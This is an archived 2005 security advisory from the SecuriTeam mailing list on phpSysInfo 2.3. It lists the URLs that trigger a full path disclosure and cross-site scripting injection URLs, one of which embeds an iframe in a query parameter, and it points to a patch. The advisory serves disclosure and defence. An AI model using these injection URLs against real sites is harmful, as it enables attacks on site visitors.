

[UNIX] phpSysInfo Path Disclosure and Cross Site Scripting

Source: <http://www.derkeiler.com/Mailing-Lists/Securiteam/2005-03/0138.html>

From: SecuriTeam (support_at_securiteam.com)

Date: 03/29/05

To: list@securiteam.com

Date: 29 Mar 2005 10:52:32 +0200

The following security advisory is sent to the securiteam mailing list, and can be found at the SecuriTeam web site: <http://www.securiteam.com>

-- promotion

The SecuriTeam alerts list – Free, Accurate, Independent.

Get your security news from a reliable source.

<http://www.securiteam.com/maillinglist.html>

phpSysInfo Path Disclosure and Cross Site Scripting

SUMMARY

<<http://phpsysinfo.sourceforge.net/>> phpSysInfo is a customizable PHP Script that parses /proc, and formats information nicely. "

<<http://phpsysinfo.sourceforge.net/>> phpSysInfo is a PHP script that displays information about the host being accessed. It will displays things like Uptime, CPU, Memory, SCSI, IDE, PCI, Ethernet, Floppy, and Video Information."

phpSysInfo has been found to contain two security vulnerabilities, a path disclosure vulnerability and a cross site scripting vulnerability.

Exploiting these vulnerabilities allows a remote attacker to discover sensitive information about target system and run malicious scripts in context of Internet browser on site's visitors machines.

DETAILS

Vulnerable Systems:

* phpSysInfo version 2.3

Full Path Disclosure:

Securiteam: [UNIX] phpSysInfo Path Disclosure and Cross Site Scripting

By accessing any of following URLs:

[http://\[host\]/\[DIR\]/includes/os/class.OpenBSD.inc.php](http://[host]/[DIR]/includes/os/class.OpenBSD.inc.php)
[http://\[host\]/\[DIR\]/includes/os/class.NetBSD.inc.php](http://[host]/[DIR]/includes/os/class.NetBSD.inc.php)
[http://\[host\]/\[DIR\]/includes/os/class.FreeBSD.inc.php](http://[host]/[DIR]/includes/os/class.FreeBSD.inc.php)
[http://\[host\]/\[DIR\]/includes/os/class.Darwin.inc.php](http://[host]/[DIR]/includes/os/class.Darwin.inc.php)
[http://\[host\]/\[DIR\]/includes/os/class.BSD.inc.php](http://[host]/[DIR]/includes/os/class.BSD.inc.php)
[http://\[host\]/\[DIR\]/includes/XPath.class.php](http://[host]/[DIR]/includes/XPath.class.php)
[http://\[host\]/\[DIR\]/includes/system_header.php](http://[host]/[DIR]/includes/system_header.php)
[http://\[host\]/\[DIR\]/includes/system_footer.php](http://[host]/[DIR]/includes/system_footer.php)

An error message of the sorts of will be returned:

```
Warning: main(/includes/os/class.BSD.common.inc.php) [function.main]:
failed to open stream: No such file or directory in
/www/phpsysinfo-dev/includes/os/class.OpenBSD.inc.php on line 22
Fatal error: main() [function.require]: Failed opening required
'/includes/os/class.BSD.common.inc.php' (include_path='.:') in
/www/phpsysinfo-dev/includes/os/class.OpenBSD.inc.php on line 22
```

Cross Site Scripting:

This vulnerability requires that the variable `register_globals` is set to On:

Any of the following URLs can be used to trigger the vulnerability:

[http://\[host\]/\[DIR\]/index.php?sensor_program=\[XSS\]](http://[host]/[DIR]/index.php?sensor_program=[XSS])
[http://\[host\]/\[DIR\]/includes/system_footer.php?text\[language\]=">\[XSS\]](http://[host]/[DIR]/includes/system_footer.php?text[language]=)
[http://\[host\]/\[DIR\]/includes/system_footer.php?text\[template\]=">\[XSS\]](http://[host]/[DIR]/includes/system_footer.php?text[template]=)
[http://\[host\]/\[DIR\]/includes/system_footer.php?hide_picklist=cXIb8O3&VERSION=<iframe src=http://example.com>](http://[host]/[DIR]/includes/system_footer.php?hide_picklist=cXIb8O3&VERSION=<iframe src=http://example.com>)

Workaround:

Download a patch by <<mailto:max@jestsuper.pl>> Maksymilian Arciemowicz from here:

<<http://securityreason.com/patch/phpSysInfo-2.3.patch.by.cXIb8O3.tar.gz>>
<http://securityreason.com/patch/phpSysInfo-2.3.patch.by.cXIb8O3.tar.gz>

ADDITIONAL INFORMATION

The information has been provided by <<mailto:max@jestsuper.pl>> Maksymilian Arciemowicz.

The original article can be found at: <<http://www.securityreason.com/adv/%5BphpSysInfo%202.3%20Multiple%20vulnerabilities%20cXIb8O3.11%5D.asc>>
<http://www.securityreason.com/>

=====

This bulletin is sent to members of the SecuriTeam mailing list.

To unsubscribe from the list, send mail with an empty subject line and body to:

list-unsubscribe@securiteam.com

In order to subscribe to the mailing list, simply forward this email to: list-subscribe@securiteam.com

Securiteam: [UNIX] phpSysInfo Path Disclosure and Cross Site Scripting

=====
=====

DISCLAIMER:

The information in this bulletin is provided "AS IS" without warranty of any kind.

In no event shall we be liable for any damages whatsoever including direct, indirect, incidental, consequential, loss of business profits or special damages.